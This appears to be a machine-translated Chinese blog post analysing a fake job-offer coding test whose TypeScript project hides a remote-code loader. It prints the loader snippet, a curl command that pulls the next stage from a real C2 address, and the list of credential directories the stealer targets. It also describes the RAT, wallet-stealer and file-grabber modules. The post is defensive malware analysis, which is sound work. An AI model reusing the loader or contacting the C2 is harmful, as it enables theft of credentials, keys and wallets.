一份求职编码测试如何让你系统沦陷

一份求职编码测试如何让你系统沦陷 图片 1

当前IT就业市场的形势很艰难。所以当LinkedIn上的招聘人员基于你之前的经验联系你,说你有合适的匹配新职位时,你就算幸运了。它可能并非乍一看的那样。

“相关机会”,兼职远程工作和优厚的小时薪酬,肯定会吸引许多现役软件工程师在LinkedIn上收到新工作邀请时参与讨论——我有个朋友就遇到了这种情况。

这份工作邀请与之前的经历非常匹配,并且在LinkedIn上发了几条短信后,通过快速发送的编程挑战加快了面试进程。

信息

最初的联系是通过一家公司名义进行的,该公司并不知道这件事。所以纯粹是钓鱼,目的是窃取你的机密和资质。公司对此非常清楚,并且已经发布了一份在LinkedIn上发布帖子解释情况。

在开始测试之前,你可能会对以下几点感到怀疑:

  • 联系你的人并不是LinkedIn上公司的成员
  • 在收到编码测试之前,没有第一次“了解你”的电话
  • 考试可能用的是你擅长的编程语言
  • 代码可以在Bitbucket上使用,依我看Bitbucket很少见
  • 发件人的电子邮件地址是@gmail.com而不是公司官方的

事后诸葛亮,所以这里不带评判。

故事的开始

任务是在给定的TypeScript代码库中解决各种问题并扩展逻辑。你收到的项目是

  • 大约180个文件
  • 既有死代码也有正常代码
  • 无混淆或压缩

..但会有一些外部调用https://api.jsonbin.io端点。如果你没读过180个代码文件,那你就上瘾了。

这里有个可疑的代码部分,开始下载更多软件包来检查你的系统。

警告

那是终点,会送出更多垃圾。小心!完整的源代码可在此处找到Bitbucket 仓库.

1
2
3
4
5
6
7
const initPriceConfig = async () => {
 const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
 const res = (await axios.get(`${src}`));
 const handler = new (Function.constructor)('require', res.data.record.model);
 if (handler) handler(require);
};
initPriceConfig();

应用程序的内部逻辑总是先执行该函数,通过执行npm run dev,npm start,依此类推。正如它所说require在中,它可以:

  • require('child_process')为了Shell Out。
  • require('fs')对于读/走读文件系统,写持久化
  • require('net')/require('https')开辟自己的撤离通道
  • 阅读process.env直接,在这个应用里,这意味着MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY

很多事情你极不希望系统上发生。

仔细观察:二级装载机

来自jsonbin.io端点实际上是远程代码执行加载器.该record.model有效载荷为24,686个字符obfuscator.ioJavaScript包裹在一个小型Webpack包上。

解混淆返回的负载后,我们得到了另一批混淆的JavaScript。该代码从C2(指挥与控制)服务器提取数据http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.

我用这个方法拉取了下一段代码

1
2
3
4
5
6
7
curl -sS -v --max-time 30 \
 -H 'Authentication: jwt' \
 -H 'Accept: application/json, text/plain, */*' \
 -A 'axios/1.5.3' \
 -D headers.txt \
 -o body.bin \
 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

它需要一个Authentication首部,其中jwt作为象征。该端点提供了更多的混淆JavaScript代码,特别是以下四个模块:

scdata:一个交互式RAT(远程访问木马)
node-pty全壳,ssh2用于枢轴和PEM密钥盗窃,screenshot-desktop+锐利用于截屏,clipboardy, 和@nut-tree-fork/nut-js适用于合成键盘和鼠标。它还能识别虚拟机和裸机的指纹。

ldata浏览器凭证和钱包窃取者。
Chrome/Edge/Brave/LT 在三个操作系统上,所有配置文件:登录数据、网页数据、本地扩展设置、LevelDB 存储和 macOS 登录键链。它可以针对28个钱包扩展,如MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby等。它会无限循环,大约每分钟上传一次。

文件抓取器: 走访家庭目录
它试图寻找私钥,秘密短语,*变形面具*,比特币,索拉纳,.env,*.pem,*.p12,*.pfx,加上文档和图像,以及整体.ssh,.aws,.gnupg以及.docker目录。而且,它枚举了Windows上的所有驱动器代号。

剪贴板显示器:监控你的剪贴板
它轮询剪贴板并发出信标,隐藏在日志名称后面npm-compiler.log.

当受害者连接到147.189.174.138:7321服务器看到被接受套接字上的源地址,就像任何网页服务器看到访客的IP一样。没有发现,没有扫描,没有地址登记。

这正是为什么仅出呼设计对攻击者如此便利:它可以在NAT、CGNAT、企业代理或家用路由器后面工作,且不管受害者IP如何更改。

你只想找份工作,却打开了地狱的大门。

为什么它能访问你所有的文件?

恶意软件会获取当前用户的主目录,然后构建路径以便查看。

1
2
3
4
5
6
7
8
rootDir = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
 path.join(os.homedir(), ".ssh"),
 path.join(os.homedir(), ".azure"),
 path.join(os.homedir(), ".foundry"),
 path.join(os.homedir(), ".config"),
 //...
]

它从不要求提升。不需要root、UAC,或sudo,因为它没有任何东西是root拥有的。SSH密钥、AWS凭证、浏览器配置文件、钱包数据、.env文件——这些都是用户拥有的,因为你需要定期读取。

在你账户下运行的进程会继承这些访问权限。Node在这里并没有做什么特别的事情cat ~/.ssh/id_rsa从壳体中起作用是一样的。

在Windows上,它不仅限于主页,还通过PowerShell枚举驱动器代号,并在每个根节点调用scanDir,所以映射的网络驱动器和次级磁盘也在范围内。

下次做些预防措施

有几件事本可以有所帮助,虽然永远没有百分之百的保护。你不会指望你在工作机会中得到的代码会有这样的内容。

  • 人工智能:弱保护
    请你选择的AI扫描项目中是否有异常——比如混淆代码、压缩、调用外部端点、异常代码模式等。这只是部分解,因为它会告诉你调用jsonbin.io但它无法看到返回的值。
  • Docker:部分弱保护
    把东西放进Docker只执行代码,可以隔离主机系统,不会暴露任何存储的秘密——只要你不把主机数据挂载到容器里。
  • 流浪者:可能是你最好的选择
    在完全隔离的系统中运行代码甚至可能是最佳选择。先截图虚拟机,恢复后再恢复。如果没有界面/桌面环境,泄露浏览器数据或截图的模块是自我限制的。不过,RAT和文件抓取器依然有效。

注意RAT主动指纹用于虚拟机使用。它运行system_profiler,读道/proc/cpuinfo,以及 的 grepvmware,qemu,microsoft corporation然后对信标(虚拟机)或(本地)进行标记。

这个标志很可能是为操作员进行分流的:虚拟机更可能是沙盒,不太可能存放真正的钱包,因此可能会被降级或更谨慎地处理。

关于AI部分的说明: 克劳德·科德未能探测到任何奇怪只是提示扫描代码库寻找异常模式。

接下来怎么办

当损害发生时,你可能应该:

  • 收回并旋转SSH密钥
  • 更改密码
  • 检查一下你是否有明文秘密或需要更改的信息

…然后重新安装操作系统——小心驶得万年船。

与此同时渔民(假招募员)个人资料已被删除。

添加评论
点赞收藏
点踩分享查看原文
评论
?
参与讨论